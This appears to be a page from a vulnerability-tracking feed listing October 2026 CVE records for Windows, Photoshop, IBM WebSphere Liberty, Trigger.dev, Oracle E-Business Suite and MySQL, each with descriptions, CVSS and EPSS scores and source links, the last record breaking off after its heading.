### Integer overflow or wraparound in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96914
Integer overflow or wraparound in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Integer overflow or wraparound in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96914).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96914&date=2026-10-25).
Sources:
NVD CVE-2026-96914: https://nvd.nist.gov/vuln/detail/CVE-2026-96914
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96914
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96914&date=2026-10-25
Integer overflow or wraparound in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96913
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96913).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96913&date=2026-10-25).
Sources:
NVD CVE-2026-96913: https://nvd.nist.gov/vuln/detail/CVE-2026-96913
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96913
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96913&date=2026-10-25
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Photoshop Desktop is affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-83661
Photoshop Desktop is affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Photoshop Desktop is affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83661).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83661&date=2026-10-25).
Sources:
NVD CVE-2026-83661: https://nvd.nist.gov/vuln/detail/CVE-2026-83661
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/photoshop/apsb26-158.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83661&date=2026-10-25
Photoshop Desktop is affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 is vulnerable by an authentication bypass vulnerability when samlWeb-2.0 feature is enabled.
https://kevwire.com/record/CVE-2026-93909
IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 is vulnerable by an authentication bypass vulnerability when samlWeb-2.0 feature is enabled. (Oct 13, 2026).
IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 is vulnerable by an authentication bypass vulnerability when samlWeb-2.0 feature is enabled.
CVSS 9.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-93909).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-93909&date=2026-10-25).
Sources:
NVD CVE-2026-93909: https://nvd.nist.gov/vuln/detail/CVE-2026-93909
Vendor advisory (via NVD references): https://www.ibm.com/support/pages/node/7292236
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-93909&date=2026-10-25
IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 is vulnerable by an authentication bypass vulnerability when samlWeb-2.0 feature is enabled.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 could allow an unauthenticated remote attacker to corrupt the persisted status of batch job instances.
https://kevwire.com/record/CVE-2026-93905
IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 could allow an unauthenticated remote attacker to corrupt the persisted status of batch job instances. (Oct 13, 2026).
IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 could allow an unauthenticated remote attacker to corrupt the persisted status of batch job instances.
CVSS 8.2 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-93905).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-93905&date=2026-10-25).
Sources:
NVD CVE-2026-93905: https://nvd.nist.gov/vuln/detail/CVE-2026-93905
Vendor advisory (via NVD references): https://www.ibm.com/support/pages/node/7292232
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-93905&date=2026-10-25
IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 could allow an unauthenticated remote attacker to corrupt the persisted status of batch job instances.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM WebSphere Application Server - Liberty 20.0.0.12 through 26.0.0.10 could allow an unauthenticated remote attacker to bypass access controls configured on gRPC service methods.
https://kevwire.com/record/CVE-2026-93895
IBM WebSphere Application Server - Liberty 20.0.0.12 through 26.0.0.10 could allow an unauthenticated remote attacker to bypass access controls configured on gRPC service methods. (Oct 13, 2026).
IBM WebSphere Application Server - Liberty 20.0.0.12 through 26.0.0.10 could allow an unauthenticated remote attacker to bypass access controls configured on gRPC service methods.
CVSS 9.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-93895).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-93895&date=2026-10-25).
Sources:
NVD CVE-2026-93895: https://nvd.nist.gov/vuln/detail/CVE-2026-93895
Vendor advisory (via NVD references): https://www.ibm.com/support/pages/node/7292228
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-93895&date=2026-10-25
IBM WebSphere Application Server - Liberty 20.0.0.12 through 26.0.0.10 could allow an unauthenticated remote attacker to bypass access controls configured on gRPC service methods.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Trigger.dev before 4.6.2 contains an authorization vulnerability that allows public-token holders with session write access to obtain environment-wide S2 stream credentials via...
https://kevwire.com/record/CVE-2026-114082
Trigger.dev before 4.6.2 contains an authorization vulnerability that allows public-token holders with session write access to obtain environment-wide S2 stream credentials via... (Oct 21, 2026).
Trigger.dev before 4.6.2 contains an authorization vulnerability that allows public-token holders with session write access to obtain environment-wide S2 stream credentials via session input initialization. Attackers can use the credential directly against the storage API to append, create, or trim other session and run streams, forging output or permanently deleting records.
CVSS 7.2 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114082).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114082&date=2026-10-25).
Sources:
NVD CVE-2026-114082: https://nvd.nist.gov/vuln/detail/CVE-2026-114082
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114082&date=2026-10-25
Trigger.dev before 4.6.2 contains an authorization vulnerability that allows public-token holders with session write access to obtain environment-wide S2 stream credentials via session input initialization. Attackers can use the credential directly against the storage API to append, create, or trim other session and run streams, forging output or permanently deleting records.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Trigger.dev before 4.5.6 contains an authorization bypass vulnerability in createDeploymentBackgroundWorkerV4 that resolves a WorkerDeployment by friendlyId alone, without...
https://kevwire.com/record/CVE-2026-114077
Trigger.dev before 4.5.6 contains an authorization bypass vulnerability in createDeploymentBackgroundWorkerV4 that resolves a WorkerDeployment by friendlyId alone, without... (Oct 21, 2026).
Trigger.dev before 4.5.6 contains an authorization bypass vulnerability in createDeploymentBackgroundWorkerV4 that resolves a WorkerDeployment by friendlyId alone, without environment, project, or organization scoping. Attackers holding only their own environment API key can POST to the deployment background-workers endpoint with a victim's deployment ID to re-point that in-progress deployment at a worker in the attacker's environment.
CVSS 6.1 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114077).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114077&date=2026-10-25).
Sources:
NVD CVE-2026-114077: https://nvd.nist.gov/vuln/detail/CVE-2026-114077
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114077&date=2026-10-25
Trigger.dev before 4.5.6 contains an authorization bypass vulnerability in createDeploymentBackgroundWorkerV4 that resolves a WorkerDeployment by friendlyId alone, without environment, project, or organization scoping. Attackers holding only their own environment API key can POST to the deployment background-workers endpoint with a victim's deployment ID to re-point that in-progress deployment at a worker in the attacker's environment.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Trigger.dev 4.5.0 before 4.6.2 contains an improper authorization vulnerability in the PUT snapshot-url session endpoint that allows public session token holders to obtain...
https://kevwire.com/record/CVE-2026-114067
Trigger.dev 4.5.0 before 4.6.2 contains an improper authorization vulnerability in the PUT snapshot-url session endpoint that allows public session token holders to obtain... (Oct 21, 2026).
Trigger.dev 4.5.0 before 4.6.2 contains an improper authorization vulnerability in the PUT snapshot-url session endpoint that allows public session token holders to obtain presigned S3 write URLs. End users can overwrite their own session's durable chat snapshot to forge the agent's conversation history, since the route lacks a secret-key-only check.
CVSS 7.1 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114067).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114067&date=2026-10-25).
Sources:
NVD CVE-2026-114067: https://nvd.nist.gov/vuln/detail/CVE-2026-114067
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114067&date=2026-10-25
Trigger.dev 4.5.0 before 4.6.2 contains an improper authorization vulnerability in the PUT snapshot-url session endpoint that allows public session token holders to obtain presigned S3 write URLs. End users can overwrite their own session's durable chat snapshot to forge the agent's conversation history, since the route lacks a secret-key-only check.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Project Contracts product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101830
Vulnerability in the Oracle Project Contracts product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Project Contracts product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Project Contracts.  While the vulnerability is in Oracle Project Contracts, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Project Contracts accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).
CVSS 7.7 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101830).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101830&date=2026-10-25).
Sources:
NVD CVE-2026-101830: https://nvd.nist.gov/vuln/detail/CVE-2026-101830
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101830&date=2026-10-25
Vulnerability in the Oracle Project Contracts product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Project Contracts.  While the vulnerability is in Oracle Project Contracts, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Project Contracts accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Bills of Material product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101822
Vulnerability in the Oracle Bills of Material product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Bills of Material product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Bills of Material.  While the vulnerability is in Oracle Bills of Material, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Bills of Material accessible data as well as  unauthorized read access to a subset of Oracle Bills of Material accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Bills of Material. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:H/A:L).
CVSS 7.2 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101822).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101822&date=2026-10-25).
Sources:
NVD CVE-2026-101822: https://nvd.nist.gov/vuln/detail/CVE-2026-101822
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101822&date=2026-10-25
Vulnerability in the Oracle Bills of Material product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Bills of Material.  While the vulnerability is in Oracle Bills of Material, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Bills of Material accessible data as well as  unauthorized read access to a subset of Oracle Bills of Material accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Bills of Material. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:H/A:L).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Item Catalog).
https://kevwire.com/record/CVE-2026-101818
Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Item Catalog). (Oct 20, 2026).
Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Item Catalog).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Hub.  While the vulnerability is in Oracle Product Hub, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Product Hub accessible data as well as  unauthorized update, insert or delete access to some of Oracle Product Hub accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Product Hub. CVSS 3.1 Base Score 7.7 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:L).
CVSS 7.7 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101818).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101818&date=2026-10-25).
Sources:
NVD CVE-2026-101818: https://nvd.nist.gov/vuln/detail/CVE-2026-101818
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101818&date=2026-10-25
Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Item Catalog).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Hub.  While the vulnerability is in Oracle Product Hub, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Product Hub accessible data as well as  unauthorized update, insert or delete access to some of Oracle Product Hub accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Product Hub. CVSS 3.1 Base Score 7.7 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:L).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Assets product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101815
Vulnerability in the Assets product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Assets product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Assets.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Assets as well as  unauthorized update, insert or delete access to some of Assets accessible data and  unauthorized read access to a subset of Assets accessible data. CVSS 3.1 Base Score 7.6 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H).
CVSS 7.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101815).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101815&date=2026-10-25).
Sources:
NVD CVE-2026-101815: https://nvd.nist.gov/vuln/detail/CVE-2026-101815
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101815&date=2026-10-25
Vulnerability in the Assets product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Assets.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Assets as well as  unauthorized update, insert or delete access to some of Assets accessible data and  unauthorized read access to a subset of Assets accessible data. CVSS 3.1 Base Score 7.6 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: JSON).
https://kevwire.com/record/CVE-2026-101785
Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: JSON). (Oct 20, 2026).
Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: JSON).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all MySQL Server, MySQL Cluster accessible data as well as  unauthorized read access to a subset of MySQL Server, MySQL Cluster accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 8.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H).
CVSS 8.3 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101785).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101785&date=2026-10-25).
Sources:
NVD CVE-2026-101785: https://nvd.nist.gov/vuln/detail/CVE-2026-101785
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101785&date=2026-10-25
Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: JSON).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all MySQL Server, MySQL Cluster accessible data as well as  unauthorized read access to a subset of MySQL Server, MySQL Cluster accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 8.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Replication).
https://kevwire.com/record/CVE-2026-101775
Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Replication). (Oct 20, 2026).
Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Replication).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all MySQL Server, MySQL Cluster accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 7.4 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H).
CVSS 7.4 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101775).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101775&date=2026-10-25).
Sources:
NVD CVE-2026-101775: https://nvd.nist.gov/vuln/detail/CVE-2026-101775
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101775&date=2026-10-25
Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Replication).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all MySQL Server, MySQL Cluster accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 7.4 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Group Replication Plugin).
https://kevwire.com/record/CVE-2026-101773
Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Group Replication Plugin). (Oct 20, 2026).
